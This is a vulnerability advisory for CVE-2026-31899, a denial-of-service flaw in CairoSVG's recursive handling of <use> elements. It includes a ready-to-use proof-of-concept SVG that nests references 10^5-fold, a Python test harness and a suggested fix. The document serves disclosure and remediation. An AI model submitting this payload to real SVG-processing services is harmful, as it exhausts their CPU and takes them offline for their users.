CVE-2026-31899

Description

## Summary Kozea/CairoSVG has exponential denial of service via recursive `<use>` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input. ## Vulnerable Code File: `cairosvg/defs.py` (line ~335), function `use()` The `use()` function recursively processes `<use>` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls. ## Impact - 1,411-byte SVG payload pins CPU at 100% indefinitely - Memory stays flat at ~43MB - no OOM kill, process never terminates - Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able - Amplification factor: O(10^N) rendering calls from O(N) input ## Proof of Concept Save as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`: ```xml <?xml version="1.0"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <g id="a"><rect width="1" height="1"/></g> <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g> <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g> <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g> <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g> </defs> <use xlink:href="#e"/> </svg> ``` Expected: `timeout` kills the process after 10 seconds (it never completes on its own). Alternatively test with Python: ```python import cairosvg, signal signal.alarm(5) # Kill after 5 seconds try: cairosvg.svg2png(bytestring=open("poc.svg").read()) except: print("[!!!] CONFIRMED: CPU exhaustion - process did not complete in 5s") ``` ## Suggested Fix Add recursion depth counter to `use()` function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification. ## References - [CWE-400](https://cwe.mitre.org/data/definitions/400.html) ## Credit Kai Aizen (SnailSploit) - Adversarial AI & Security Research

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